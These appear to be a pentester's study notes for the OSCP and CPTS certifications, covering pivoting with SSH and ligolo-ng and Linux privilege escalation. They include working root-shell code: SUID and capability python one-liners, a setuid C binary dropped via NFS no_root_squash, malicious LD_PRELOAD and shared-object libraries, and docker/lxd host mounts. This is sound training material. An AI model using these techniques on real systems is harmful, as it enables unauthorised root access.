# oscp-cpts-notes

<div align="center"><img src="https://images.credly.com/images/ec81134d-e80b-4eb5-ae07-0eb8e1a60fcd/image.png" alt="OSCP Badge" width="188"> <img src="/files/UknWl2pPsrR2jGRVxIAO" alt="CPTS Badge" width="188"></div>

***

## 📖 Overview

Welcome to my **OSCP & CPTS Notes** repository!\
I have successfully completed the **Hack The Box CPTS** certification, and these notes capture my entire learning journey, covering everything from fundamentals to advanced penetration testing concepts.

Although I have not yet started the **OSCP** exam, much of the CPTS material overlaps with OSCP preparation. That’s why I’ve organized these notes as **OSCP + CPTS notes,** so they can serve as a valuable study companion for anyone pursuing either certification.

These notes are continuously updated with new topics, improved explanations, and practical methodologies to help readers build a strong penetration testing mindset, not just pass an exam.

💡 **Want the best reading experience?**\
Access the notes via **GitBook** here:\
👉 [**https://notes.dollarboysushil.com**](https://notes.dollarboysushil.com)

***

## 🧾Visit [Here](https://dollarboysushil.com/posts/cpts-report-writing-guide/) to Learn About CPTS Exam Report Writing

<figure><img src="/files/FGGxzwSVWxAVkE7aYi3Z" alt=""><figcaption></figcaption></figure>

{% embed url="<https://dollarboysushil.com/posts/cpts-report-writing-guide/>" %}

***

## 🧠 What's Inside

* 📚 **Theory & Concepts** – Explaining networking, enumeration, privilege escalation, AD attacks, pivoting, and more
* 🛠️ **Hands-on Notes** – Practical steps, methodologies, and tools used
* 🔒 **Real-World Mindset** – Focused on methodology, not just exam prep
* ⚡ **Continuously Updated** – I’m actively adding new content, diagrams, and explanations

> **Note:**\
> Solutions to questions and skill assessments are **not published** due to Hack The Box’s Terms & Conditions.\
> If you're stuck or need guidance, feel free to reach out!

***

## 🚀 How to Use

1. Browse the GitBook for the **structured reading experience**.
2. Search and filter topics to quickly find what you need.
3. Use these notes to **build your own methodology** for OSCP & CPTS.

***

## 🤝 Connect With Me

If you find these notes helpful, let’s connect!

* 🕸️ **Website :** [dollarboysushil.com](https://dollarboysushil.com/)
* 🐦 **Twitter (X):** [@dollarboysushil](https://twitter.com/dollarboysushil)
* ▶️ **YouTube:** [dollarboysushil](https://youtube.com/@dbs-sec)
* 💼 **LinkedIn:** [Sushil Poudel](https://www.linkedin.com/in/dollarboysushil/)
* 💬 **Discord:** [Join my community](https://discord.gg/5jpkdeV)
* 📷 **Instagram:** [@dollarboysushil](https://instagram.com/dollarboysushil)

***

## 🆕 Status: **Actively Maintained**

I am regularly adding:

* ✅ More in-depth explanations
* ✅ Attack flow diagrams
* ✅ Updated methodologies & tools
* ✅ Real-world scenarios

Stay tuned for more content!


# Pivoting & Tunneling

<figure><img src="/files/9s3s9l3ktfQKYmDFbdjW" alt=""><figcaption></figcaption></figure>

### Pivoting

Pivoting refers to the method of using one compromised machine to access and attack other machines on the same network that are not directly accessible from the attacker's machine. It enables attackers to expand their control beyond the initial foothold.

### Tunneling

Tunneling is the process of encapsulating one network protocol within another. This is often used to bypass firewalls and other network restrictions, enabling communication between the attacker and the target machine.

Types are:&#x20;

**SSH Tunneling**: A secure method that allows you to forward ports over an encrypted SSH connection.\
**VPN Tunneling**: Establishing a secure connection to a remote network.\
**HTTP Tunneling**: Encapsulating non-HTTP traffic in HTTP requests to evade network filters.

### Port Forwarding

Port forwarding is the technique of forwarding network ports from one network node to another, enabling external users to connect to services hosted on a private network. This is commonly used in both networking and penetration testing.

Types:\
**Local Port Forwarding**: Redirecting traffic from a local port to a specified remote server and port.\
**Remote Port Forwarding**: Redirecting traffic from a remote port to a specified local server and port.\
**Dynamic Port Forwarding**: Creating a SOCKS proxy to dynamically forward connections as needed.


# Local Port Forwarding

Local port forwarding is a technique used to forward traffic from a local port on the attacker's machine to a specified remote IP address and port through an intermediary (usually an SSH server). This method allows access to services on the remote server that might not be directly accessible due to firewall rules or network restrictions

## Setup

```
dollarboysushil@kali$ ssh -L 4567:localhost:80 ubuntu@10.10.15.130
ubuntu@10.10.15.130's password:
```

`-L` indicates local port forwarding, and we are forwarding the web app running on port 80  of remote server to port 4567 on our attacker machine.\
Which means, website on attackers\_ip (10.10.15.130:80) can be accessed on our\_ip:4567

Once the SSH session is established, any request sent to `http://localhost:4567` on your attacker machine will be securely forwarded to `http://localhost:80` on the remote server (`10.10.15.130`).

### To forward multiple ports

```
dollarboysushil@kali$ ssh -L 4567:localhost:80 -L 6789:localhost:3306 ubuntu@10.10.15.130
```


# Remote Port Forwarding

Remote port forwarding is a technique used to forward traffic from a port on a remote server (the SSH server) to a specified local host and port. This allows services on the attacker's local machine to be accessed from the remote machine or other machines on the remote network.

<figure><img src="/files/yI97TIDTtxRBtu3iwdQ7" alt=""><figcaption></figcaption></figure>

lets say we want to access the webserver running on port 80 of windows (172.16.1.16) machine.\
Currently we (kali) and target(windows) are not in same subnet, so we cannot make connection.

Lets access webserver running on port 80 on windows from kali.

#### Steps to Achieve Remote Port Forwarding

```
ssh -R 8080:172.16.1.16:80 ubuntu@10.10.15.130
```

here, `-R` flag is used to specify remote port forwarding. `8080` is the port on the pivot host `10.10.15.130` that will listen for incoming connections

**`172.16.1.16:80`**: This is the target IP and port where the web server is running (the Windows machine).

After SSH connection is successfully established, we can access the webserver from our local machine by navigating to

```
http://10.10.15.130:8080
```

#### Diagram Representation

To visualize the setup:

* **Kali Machine** (`10.10.15.128`) connects to the **Pivot Host** (`10.10.15.130`).
* The **Pivot Host** listens on port `8080`.
* Traffic sent to `8080` on the **Pivot Host** is forwarded to `172.16.1.16:80`.


# Dynamic Port Forwarding

<figure><img src="/files/yI97TIDTtxRBtu3iwdQ7" alt=""><figcaption></figcaption></figure>

Dynamic port forwarding is a technique used in SSH that allows us to create a SOCKS proxy server. This enables us to route traffic through the SSH connection dynamically to any port on the remote server or through any other hosts accessible from that remote server.

* **Setup**: When we establish a dynamic port forwarding session, an SSH client listens on a specified local port and forwards traffic to the remote server, allowing connections to any host and port through the SSH tunnel.
* **Traffic Flow**:
  * Any application that supports SOCKS proxy (like web browsers, curl, etc.) can connect to the local port.
  * The SSH server will route this traffic through the established SSH connection to the desired destination.

## Example

```bash
ssh -D [local_port] [user]@[remote_server]
```

`-D` flag indicates we want to create a SOCKS proxy

```bash
ssh -D 1080 user@10.10.15.130
```

In this example:

* The SSH client will listen on `localhost:1080`.
* Any traffic directed to this port will be forwarded through the SSH tunnel to the remote server and then on to the final destination.

We must edit  `/etc/proxychains.conf` file to inform proxychains that we must use port 1080.\
add this into conf file

`socks4 127.0.0.1 1080`

## Using Proxychains to Access the Web Server

Once Proxychains is configured, you can use it to route your requests through the SOCKS proxy. Given the diagram with the setup:

* **Attacker (Kali)**: `10.10.15.128`
* **Pivot Host (Ubuntu)**: `10.10.15.130`
* **Target (Windows)**: `172.16.1.16` (running a web server on port `80`)

To access the web server on the Windows target through Proxychains, use the following command:

```bash
proxychains curl http://172.16.1.16
```

or we can use proxychains with metasplit

```bash
proxychains msfconsole
```


# Ligolo-ng

**Ligolo-ng** is a *simple*, *lightweight* and *fast* tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a **tun interface** (without the need of SOCKS).

{% embed url="<https://github.com/nicocha30/ligolo-ng>" %}

## Setting Up

{% embed url="<https://github.com/nicocha30/ligolo-ng/releases>" %}

For the setup, we need only two files. Agent and Proxy

Agent: File to be installed on pivot machine\
Proxy: File to be installed on attacker machine

## Attack Scenario 1

<figure><img src="/files/yI97TIDTtxRBtu3iwdQ7" alt=""><figcaption></figcaption></figure>

For this first attack scenario, we have our attacker machine (kali) and pivot machine (ubuntu).\
Pivot machine has an additional network interface (172.16.1.15).\
We cannot ping/access this {172.16.1.15} network from our attacker machine (kali).

Lets get access to this network

In our attacker machine\
`sudo ip tuntap add user [your_username] mode tun ligolo`\
this will add new tun interface `ligolo`\
`sudo ip link set ligolo up`\
this will enable the newly created interface `ligolo`

Now we need two file\
`ligolo-ng_agent_version-linux_version.tar.gz` for pivot machine\
`ligolo-ng_proxy_version-linux_version.tar.gz`for attacker machine

get latest version form official github repo.

Then transfer the agent file to the pivot machine (ubuntu)

### In attacker machine

`./proxy -selfcert`

### In pivot machine

`./agent -connect kali_linux_ip:11601 -ignore-cert`\
port `11601` is by default set on proxy in the attacker machine\
we should use `-autocert` flag when the pivot machine has internet access. This is more secure than `-ignore-cert`

### In attacker machine

`session` to list the session and select the session we want to connect\
`ifconfig or ipconfig` to view the interface of the pivot machine.

Now in new terminal\
sudo ip route add `172.16.1.0/24 dev ligolo`\
here we are adding route for 172.16.1.0/24 network

once the route is set.

Go back to the terminal where agent is agent is running\
`start` -> this wll start tunnel to the pivot machine.

Now we have connection to the `172.16.1.0/24`network\
Meaning we can view the webserver running on port 80 of windows `172.16.1.16`

## Getting Reverse Shell

<figure><img src="/files/yI97TIDTtxRBtu3iwdQ7" alt=""><figcaption></figcaption></figure>

Lets say we now have access to the windows machine on `172.16.1.0/24` which was previously not routable from our attacker host. Now we want reverse shell connection from that machine (windows).

That windows machine cannot reach us, it does not have route to our ip, it can only reach the pivot machine.

To solve this

We can listen to ports on Agent (pivot machine) and redirect the connection back to us (attacker machine)

we can set this up using

* In attacker proxy terminal\
  `listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp`

  on the pivot machine, any device or interface on port `30000` will redirect our port `10000`

Which means we can create a payload with\
lhost: 172.16.1.15\
lport: 10000

when the pivot machine gets data on port 30000\
it will redirecto it to port 10000 on our attacker machine(kali)\\

Meaning we can listen on 10000 to get the reverse shell connection.

## Transferring File Between Machines

<figure><img src="/files/9s3s9l3ktfQKYmDFbdjW" alt=""><figcaption></figcaption></figure>

To transfer files, we can add another listener.

`listener_add --addr 0.0.0.0:11111 --to 127.0.0.1:22222 --tcp`

In our attacker machine run python http server on port 22222

In windows target machine, download the file using

`Invoke-WebRequest -Uri "http://172.16.1.15:11111/winpeas.exe" -OutFile winpeas.exe`

Here, windows will send request to port 11111 on pivot (ubuntu) and ligolo-ng will redirect it to port 22222 on our attacker machine\
\
\
For more insight, watch this video by John Hammond

{% embed url="<https://youtu.be/qou7shRlX_s>" %}


# Linux Privilege Escalation

We assume that we now have a shell on the remote system. However, depending on how access was obtained, we may not yet have 'root' privileges. The following techniques can be used to elevate privilege

<figure><img src="/files/ciW1W7WiKcCnAPc8kvQn" alt=""><figcaption><p>Linux Priv Esc mindmap by c0nd4</p></figcaption></figure>


# Gathering Information of the System

To escalate privileges on a Linux system, it’s crucial to gather as much information about the environment as possible. This helps identify potential weaknesses or misconfigurations that can be exploited. Below are some key commands that can be used for enumeration, along with a few additional ones to broaden the assessment.

#### Linux Privilege Escalation: Environment Enumeration

1. **Check OS Information:**

   ```bash
   cat /etc/os-release
   ```

   Contains details about the operating system version, distribution, and other useful information.
2. **Inspect the PATH Variable:**

   ```bash
   echo $PATH
   ```

   Reveals directories in the system's PATH, which could expose writable or insecure paths.
3. **List Environment Variables:**

   ```bash
   env
   ```

   Lists all environment variables. Sensitive information like credentials might be exposed.
4. **Check Kernel Version:**

   ```bash
   uname -a
   ```

   Displays kernel version, system architecture, and other details. Certain versions may have known vulnerabilities.
5. **List Available Shells:**

   ```bash
   cat /etc/shells
   ```

   Shows available login shells. Vulnerable or misconfigured shells can provide opportunities for escalation.
6. **View Routing Table:**

   ```bash
   route
   # or
   netstat -rn
   ```

   Displays the routing table, helping identify available network interfaces.
7. **Check ARP Table:**

   ```bash
   arp -a
   ```

   Shows the ARP table, revealing other hosts the target machine communicates with.
8. **List SUID and SGID Files:**

   ```bash
   find / -perm /4000 2>/dev/null
   ```

   Finds SUID binaries, which run with the file owner's privileges (often root).
9. **Check for Running Processes:**

   ```bash
   ps aux
   ```

   Lists all running processes. Look for processes running as root or with elevated privileges.
10. **Check for Installed Packages:**

    ```bash
    dpkg -l   # For Debian-based systems
    rpm -qa   # For Red Hat-based systems
    ```

    Lists installed packages. Some might have known vulnerabilities or misconfigurations.
11. **Check Crontab Entries:**

    ```bash
    crontab -l
    cat /etc/crontab
    ```

    Lists scheduled cron jobs. Misconfigured cron jobs running as root can be exploited.
12. **Check Active Network Connections:**

    ```bash
    netstat -tuln
    ```

    Displays active network connections and listening ports, which can help identify services running as root.
13. **View Mounted File Systems:**

    ```bash
    mount
    ```

    Lists mounted file systems. Uncommon or insecure mounts can offer opportunities for privilege escalation.
14. **Check Writable Directories for Other Users:**

    ```bash
    find / -writable -type d 2>/dev/null
    ```

    Identifies world-writable directories that could be leveraged to inject malicious files.
15. **Inspect sudo Privileges:**

    ```bash
    sudo -l
    ```

    Lists what commands the current user is allowed to run with sudo, revealing potential escalation paths.


# Capabilities

Capabilities split the traditionally all-or-nothing root privileges into distinct units that can be independently enabled or disabled for processes.

**Common Capabilities**

Here are some common capabilities available in Linux:

| Capability             | Description                                                                    |
| ---------------------- | ------------------------------------------------------------------------------ |
| `CAP_CHOWN`            | Change file ownership.                                                         |
| `CAP_DAC_OVERRIDE`     | Bypass file read, write, and execute permission checks.                        |
| `CAP_DAC_READ_SEARCH`  | Bypass file read permission checks.                                            |
| `CAP_FOWNER`           | Bypass permission checks on operations that normally require the file's owner. |
| `CAP_NET_ADMIN`        | Perform various network-related operations, such as configuring interfaces.    |
| `CAP_NET_BIND_SERVICE` | Bind to network ports below 1024.                                              |
| `CAP_SYS_ADMIN`        | Perform a wide range of administrative tasks.                                  |
| `CAP_SYS_MODULE`       | Load and unload kernel modules.                                                |
| `CAP_SYS_RAWIO`        | Perform raw I/O operations.                                                    |
| `CAP_SYS_TIME`         | Modify the system clock.                                                       |

#### Linux Capabilities: Viewing and Checking

**Viewing Capabilities**

You can view the capabilities of a binary using the `getcap` command. For example:

```bash
getcap /path/to/binary
```

**Setting Capabilities**

To set capabilities on a binary, use the `setcap` command. For example, to give a binary the capability to bind to low-numbered ports:

```bash
sudo setcap 'cap_net_bind_service=+ep' /usr/bin/somebinary
```

**Removing Capabilities**

To remove capabilities, use the `setcap` command with a minus sign:

```bash
sudo setcap 'cap_net_bind_service=-ep' /usr/bin/somebinary
```

**Checking Effective Capabilities**

You can check the effective capabilities of a running process using the `capsh` command:

```bash
capsh --print
```

#### Linux Capabilities for Privilege Escalation

Here’s a list of Linux capabilities that can be leveraged for privilege escalation (priv esc) if not used correctly. Misconfigurations or overly permissive settings can lead to security vulnerabilities:

1. **CAP\_CHOWN**
   * Allows changing file ownership. If a binary with this capability is compromised, an attacker can take ownership of sensitive files.
2. **CAP\_DAC\_OVERRIDE**
   * Bypasses file read, write, and execute permission checks. This capability allows access to files that are normally restricted, potentially exposing sensitive data.
3. **CAP\_DAC\_READ\_SEARCH**
   * Bypasses file read permission checks. This can be exploited to read files that should otherwise be inaccessible.
4. **CAP\_FOWNER**
   * Bypasses permission checks on operations that normally require the file's owner. An attacker can manipulate files without being the owner, leading to unauthorized access.
5. **CAP\_NET\_ADMIN**
   * Grants the ability to perform network-related operations, such as modifying network interfaces and routing tables. Misuse can lead to network manipulation and privilege escalation.
6. **CAP\_NET\_BIND\_SERVICE**
   * Allows binding to network ports below 1024. If a service running with this capability is vulnerable, it can allow an attacker to hijack the service.
7. **CAP\_SYS\_ADMIN**
   * This broad capability allows performing a variety of administrative tasks. Improper use can lead to severe privilege escalation, as it provides control over many system functions.
8. **CAP\_SYS\_MODULE**
   * Permits loading and unloading kernel modules. Exploiting this capability can allow attackers to load malicious modules into the kernel.
9. **CAP\_SYS\_RAWIO**
   * Grants access to raw I/O operations, which can be abused to perform arbitrary read/write operations on devices.
10. **CAP\_SYS\_TIME**
    * Allows modification of the system clock. Changing the system time can be used to manipulate logs and other time-sensitive data, hiding malicious activities.

If there is harmful capabilities set on a binary, we can use this capability to escalate privilege\
For example, if `CAP_SETUID` capability is set then this can be used as a backdoor to maintain privileged accss by manipulating its own process UID

```
cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

&#x20;Refer the og site <https://gtfobins.github.io/#+capabilities> for more.


# Group Based

## Docker

If we are member of docker group we can escalate our privilege to root.

The idea is, we are going to take `/` directory of host machine and mount it to our container. Once the directory is mounted, we will have root inside of our container and we can manipulate any files on this host file system through the container.

* `docker run -v /:/mnt -it alpine`

  mount `/` from hot machine to `/mnt` with `-it` interactive terminal. using `alpine` image

When victim doesnot have internet, it cannot pull the alpine image, so

* `docker pull alpine` → pull alpine in attacker machine
* `docker save -o alpine.tar alpine` → save alpine image to tar file and transfer to victim
* `docker load -i /path/to/destination/alpine.tar` → load image from tar file

then we are done

* `docker image ls` → shows the images.

Watch this excellent video by Conda<https://youtu.be/pRBj2dm4CDU?list=PLDrNMcTNhhYrBNZ_FdtMq-gLFQeUZFzWV>

## LXC / LXD

Idea is the same as docker.

* First we will download `Alpine Image` in our machine and transfer it to victim

  A minimal Docker ***image*** based on ***Alpine*** Linux with a complete package index and only 5 MB in size!
* `lxd init` to initialize linux container daemon

unzip the `Alpine.zip`

* `lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine`→ import local image.
* `lxc image list` → to list out the images
* `lxc init alpine dollarboysushil -c security.privileged=true` → Start a privileged container with the `security.privileged` set to `true` to run the container without a UID mapping, making the root user in the container the same as the root user on the host. here `alpine` is the name of the image and `dollarboysushil` is the name of the container we are going to spawn
* `lxc config device add dollarboysushil mydev disk source=/ path=/mnt/root recursive=true` → Mount the host file system.

  we are mounting entire file system `/` of the host to path `/mnt/root`

  `recursive=true` to get all the files and folders.
* `lxc start dollarboysushil`→ starting the container. we can use `lxc list` to view the status
* `lxc exec dollarboysushil /bin/sh` → execute a command inside of our container

Now we are root on the container and container contains the whole file system of host. we can edit the `/mnt/etc/shadow`to remove / change password of root, so that we can login as root in host.

Watch this excellent video by Conda\
<https://youtu.be/7x4gwV632o0?list=PLDrNMcTNhhYrBNZ_FdtMq-gLFQeUZFzWV>

## DISK

User of disk group has full access within `/dev` such as `/dev/sda`

## ADM

Members of the adm group are able to read all logs stored in `/var/log`.


# SUID Privilege Escalation

## What is SUID?

**Set User ID (SUID)** is a special permission in Unix/Linux systems. When a file has the SUID bit set, it allows the file to be executed with the privileges of the file's owner, regardless of the user running the file. Typically used to grant regular users temporary elevated permissions to execute specific tasks.

<figure><img src="/files/6uEJdtJFblUHzPq1WUzF" alt=""><figcaption></figcaption></figure>

Indicated by `rws` for the owner’s permission. When the **SUID** bit is set (`s` instead of `x` for execute), any user who runs this file does so with the **permissions of the file owner**. This is commonly used when a file is owned by **root** but allows regular users to execute it with root privileges.

The next three characters (`rws`) represent the permissions for the **group** that owns the file. Similar to the owner permissions, **read (r)**, **write (w)**, and **execute (x)** are granted or denied to the group. When the **GUID (Set Group ID)** is set, the execute bit for the group is replaced with an `s`, indicating that the file will be run with the group’s privileges.

The **GUID** is similar to SUID but applies to the **group**. It allows anyone executing the file to run it with the permissions of the group that owns the file. In this example, the group permission includes `s`, showing that the GUID bit is set.

## How to Identify SUID Files

SUID files can be identified by searching for files with the `s` bit in the owner's execute permission field.

```bash
find / -perm -4000 2>/dev/null
```

Example of an SUID file:

```bash
-rwsr-xr-x 1 root root /usr/bin/passwd
```

In this example:

* `rws` indicates the SUID bit is set.
* The owner is **root**, meaning any user executing this file does so with **root** privileges.

## How to exploit SUID Binaries to escalate privilege.

Certain binaries, like `su`, `sudo`, `passwd`,etc typically have the SUID bit set on all Linux systems. These are essential system binaries and are generally secure. However, vulnerabilities are more likely to be found in non-system binaries. To begin exploring potential exploitation methods, checking GTFObins for any relevant techniques is a great first step.

{% embed url="<https://gtfobins.github.io/#+suid>" %}

For an example, if suid is set on python then we can exploit it to escalate privileges

**Verify SUID on python**

```
ls -l /usr/bin/python
-rwsr-xr-x 1 root root /usr/bin/python

```

Create a Python One-Liner for Privilege Escalation

```
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-i")'
```

Verifying privilege escalation

```
whoami
root
```

<figure><img src="/files/giA19cwMJhycHyERITrv" alt=""><figcaption></figcaption></figure>


# Cron Job

**Cron jobs** are scheduled tasks in Unix-like operating systems that automatically execute commands or scripts at specified intervals or times. Managed by the cron daemon, these tasks can be set to run daily, weekly, monthly, or at specific times, allowing for automation of repetitive tasks such as backups, updates, and system maintenance.

<figure><img src="/files/lLqJ9InP9GDCvqLcTEgr" alt=""><figcaption></figcaption></figure>

We can verify whether a cron job is active by using pspy, a command-line utility that allows us to observe running processes without requiring root access. This tool enables us to monitor commands executed by other users, including cron jobs. It operates by scanning the procfs filesystem. To use pspy, we can execute the following command

```bash
dollarboysushil@kali $./pspy64 
```

pspy github page; <https://github.com/DominicBreuker/pspy>

## Identifying Cron Jobs

* To view user-specific cron jobs, use the command:

  ```bash
  crontab -l
  ```
* To view system-wide cron jobs, check files in `/etc/crontab`, `/etc/cron.d/`, and `/var/spool/cron/crontabs/`.

## Exploiting Cron Jobs:

* **Modifying Scripts**: If you find a world-writable script executed by a cron job, you can modify it to execute arbitrary commands.
* **Creating a Malicious Script**: If the cron job runs a specific script, you could create a script with the same name and place it in a directory that is executed before the legitimate script.
* **Race Conditions**: Exploit race conditions by quickly replacing a script while the cron job is running.
* **Exploiting Environment Variables**:Cron jobs may rely on environment variables that are not properly set or sanitized. An attacker can manipulate these variables in the job's environment to alter the behavior of the command being executed.
* **Path Manipulation**:If a cron job uses commands that are not specified with full paths, an attacker can exploit the `PATH` environment variable. By placing malicious executables in a directory that appears earlier in the `PATH`, the attacker can cause the cron job to execute the malicious version instead of the intended command.
* **Symlink Attacks**:If a cron job writes output to a file, an attacker can create a symlink from that file to a sensitive file or a script that they control. When the cron job runs, it may overwrite the symlink target, leading to privilege escalation or data loss.
* **Utilizing Default Shell Behavior**:Certain shell features can be exploited if cron jobs are running with a shell that has specific behaviors (like `bash`). For example, an attacker might use command substitution or other constructs in a script to execute arbitrary commands.
* **Adding to the Crontab**:If a user with sufficient privileges has a cron job configured to allow others to add entries (e.g., using `crontab -e`), an attacker can insert their own commands to execute arbitrary code at scheduled intervals.
* **Exploiting Missing User Permissions**:If a cron job runs as a user with elevated privileges and doesn’t restrict which scripts or binaries it executes, an attacker can create or modify files that the cron job interacts with, leading to potential privilege escalation.
* **Manipulating Command Output**:If a cron job’s output is logged to a file that is writable by all users, an attacker can manipulate this file or replace it with a malicious one to control the output of the job and potentially execute arbitrary code.
* **Job Timing and Timing Attacks**:Understanding the timing of cron jobs can allow an attacker to launch a timing attack. By knowing when a cron job runs, an attacker can exploit any race conditions or manipulate scripts just before execution.
* **Local File Inclusion (LFI)**:If a cron job includes or requires files without properly validating the input, an attacker could exploit this to include malicious files that execute when the job runs.


# Exploiting NFS weak Permission

Network File System (NFS) is a distributed file system protocol that allows clients to access files over a network as if they were local. However, improper configuration and weak permissions can lead to significant security vulnerabilities, allowing for potential privilege escalation.&#x20;

## Understanding NFS

* NFS allows remote users to access files stored on a server over a network.
* Files can be exported from an NFS server and mounted on client machines, enabling shared access.

## Understanding `root_squash` and `no_root_squash`

The `root_squash` option is used in NFS to prevent root users on client machines from having root privileges on the NFS server. When this option is enabled, any request made by the root user (UID 0) from a client is mapped to the `nobody` user (or another specified user) on the NFS server. This means that even if a root user on the client accesses the NFS share, they will not have elevated privileges, effectively restricting their access to what the `nobody` user can access.

The `no_root_squash` option allows root users on client machines to retain their root privileges when accessing NFS shares. When this option is enabled, root users on the client can access files on the NFS server with full root privileges. This means they can read, write, and modify files as if they were the root user on the NFS server.

## Setting `no_root_squash`&#x20;

```
dollarboysushil@kali $ nano /etc/exports
...........
...........
/var/nfs/general *(rw,no_root_squash)
...........
...........
```

## Listing all accessible mounts

```bash
dollarboysushil@kali $ showmount -e {ip}
```

## Attack scenario

We will create a simple root owned binary which will execute /bin/bash

```
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}
```

then compile this .c code as

```
dollarboysushil@kali: gcc exploit.c -o exploit
```

Now being the root of our attacking machine

```
root@kali:~$ sudo mount -t nfs {target_ip}:/tmp /mnt
root@kali:~$ cp exploit /mnt
root@kali:~$ chmod u+s /mnt/exploit
```

here we are mounting /tmp of target to /mnt of our machine, then we copied our exploit to /mnt\
then uisng chmod u+s we are setting up setuid in exploit.

Now in target machine

```
user@target $: cd /tmp
user@target:/tmp $: ./exploit
root@target:/tmp #: id
uid=0(root) gid=0(root) groups=0(root),4(adm)
```

We are  now root.


# Sudo + LD\_PRELOAD (Shared Libraries)

For this attack, we need user with sudo access to run some command (can be any command) + LD\_PRELOAD variable to persist with sudo call.

**Shared libraries** are collections of precompiled code that can be used by multiple programs simultaneously. They provide a way to modularize code, allowing functions and data to be shared across different applications without the need to duplicate the code.

**LD\_PRELOAD**: An environment variable used in Unix-like operating systems to specify a shared library to be loaded before others when a program is run. It can be used to override functions in standard libraries.

## Understanding the Context:

* If a user has permission to run a program with **sudo**, but that program calls functions from shared libraries (like libc), you can use **LD\_PRELOAD** to inject your own shared library that modifies the behavior of these functions.

## Example User

```
user@pc1:~$ sudo -l
Matching Defaults entries for dollarboysushil on pc1:
    env_reset, mail_badpass,................................. ,env_keep+=LD_PRELOAD

User dollarboysushil may run the following commands on pc1 :
    (root) NOPASSWD: /usr/bin/ping
```

## Attack Scenario

From above example, we can see user dollarboysushil can use ping command as root without root's password.\
Also, we can see `env_keep+=LD_PRELOAD`which means environment variable are preserver when using sudo.

For the attack,\
We are going to craft a malicious shared libraries, then we will include this malicious shared library with the `LD_PRELOAD`variable.\
Then when we run sudo ping, we will be able to load our malicious shared libraries.

### Creating malicious shared libraries

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

in above malicious.c file, we are unsetting our environment variable (LD\_PRELOAD), then we are setting our gid and uid to 0 (root) and then we are spawning bash shell

Compiling this malicious.c

<pre><code><strong>user@pc1 $: gcc -fPIC -shared -o malicious.so malicious.c -nostartfiles
</strong></code></pre>

Here, we are compiling our malicious.c code into shared library file, malicious.so

Then when we run ping as sudo,&#x20;

```
user@pc1 $: sudo LD_PRELOAD=/locatio_of_malicious_library/malicious.so /usr/bin/ping
root@pc2 #: whoami
root
```

We are now, root

Watch this excellent video by conda.<https://youtu.be/bzjnIi5u9OQ?list=PLDrNMcTNhhYrBNZ_FdtMq-gLFQeUZFzWV>


# Shared Object Manipulation

A **shared object** is a compiled binary file that contains code and data that can be shared among multiple programs. In Unix-like operating systems, shared objects are typically represented by files with the `.so` (shared object) extension. They allow programs to utilize common libraries, reducing redundancy and saving memory, as multiple programs can load the same shared object into memory at runtime.

Some Binaries or programs might have custom object/libraries associated with them.\
If we have access to manipulate the custom object used by such program, we can get escalate privilege.

## Example

```
user@pc1:~$ ls -la dbs
-rwsr-xr-x 1 root root 1000 Nov  2 15:05 dbs
```

lets say there is a library with suid bit set.

### Viewing the shared object required for specific binary

Using `ldd` we can view the shaed object required.

```
user@pc1:~$ ldd dbs

.............................
libshared.so => /lib/x86_64-linux-gnu/thisislibrary.so (0x00007adf777654dsfaasdf)
.............................
.............................
```

from the output we can see, dbs binary's non standard library `thisislibrary.so`

Using `readelf` tool we can look at the path for the shared libraries.

```
user@pc1:~$ readelf -d dbs  | grep PATH
 0x00000000000000 (RUNPATH)            Library runpath: [/dollarboysushil]
```

From the output, we can say custom library is imported from `/dollarboysushil` directory

If we have write access to this directory, then we can add malicious library in this directory.

```c
#include<stdio.h>
#include<stdlib.h>

void dbquery() {
    printf("Hacked by dollarboysushil");
    setuid(0);
    system("/bin/sh -p");
} 
```

Compiling this malicious library

```
gcc malicious.c -fPIC -shared -o /dollarboysushil/thisislibrary.so
```

Now when we run the dbs binary, we will get shell as root.

```
root@pc1:~$ ./dbs 
Hacked by dollarboysushil
# whoami
root

```


# Python Library Hijacking

**Python Library Hijacking** is a security vulnerability that allows an attacker to execute arbitrary code by manipulating the Python environment to load a malicious library instead of the intended one. This type of hijacking can lead to privilege escalation or unauthorized access, particularly when running applications or scripts with elevated permissions.

**How Python Library Hijacking Works**

1. **Dynamic Module Loading**:
   * Python allows dynamic loading of modules and packages using the `import` statement. This means that Python searches for modules in specific directories based on the `PYTHONPATH` environment variable and the installation directory of Python libraries.
2. **Module Search Path**:
   * When a Python script imports a module, it searches through several directories:
     * The directory containing the script being executed.
     * Directories specified in the `PYTHONPATH`.
     * Standard library directories and site-packages.
3. **Exploiting the Search Order**:
   * An attacker can create a malicious Python module with the same name as a legitimate module that the target application imports. If the malicious module is placed in a directory that takes precedence in the search order, the Python interpreter will load the malicious module instead of the legitimate one.

## Wrong Write Permission

idea is, if any suid python file imports library and we have write permission on that library, we can add simple malicious code (reverse shell in that library) to get shell us privileged user.

## Library PATH

idea here is, python searches and imports modules in priority order, meaning paths with higher on the list are searched first and then moves to priority with lower on this list.

example.

Copy

```
dollarboysushil@kali:~$ python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python3.5.zip
/usr/lib/python3.5
/usr/lib/python3.5/lib-dynload
/usr/local/lib/python3.5/dist-packages
/usr/lib/python3/dist-packages
```

this shows the order in which modules are searched and imported.

lets say, a suid python file uses numpy module.

Copy

```
dollarboysushil@kali:~$ pip3 show numpy
...SNIP...
Location: /usr/local/lib/python3.5/dist-packages

...SNIP...
```

we can use the above cmd to see numpy is installed in the path `/usr/local/lib/python3.5/dist-packages`.

While importing, python searches in `/usr/lib/python3.5.zip` → `/usr/lib/python3.5` ……. and then goes to `/usr/local/lib/python3.5/dist-packages`

so, what we can do is, create a malicious `numpy.py` in the folder `/usr/lib/python3.5` (if we have write permission) so then when psutil is imported, our malicious file gets executed.

## PYTHONPATH Environment Variable

```
dollarboysushil@kali:~$ sudo -l 

Matching Defaults entries for dollarboysushil on kali:
    env_reset, mail_badpass, .......................................:/snap/bin

User dollarboysushil may run the following commands on kali:
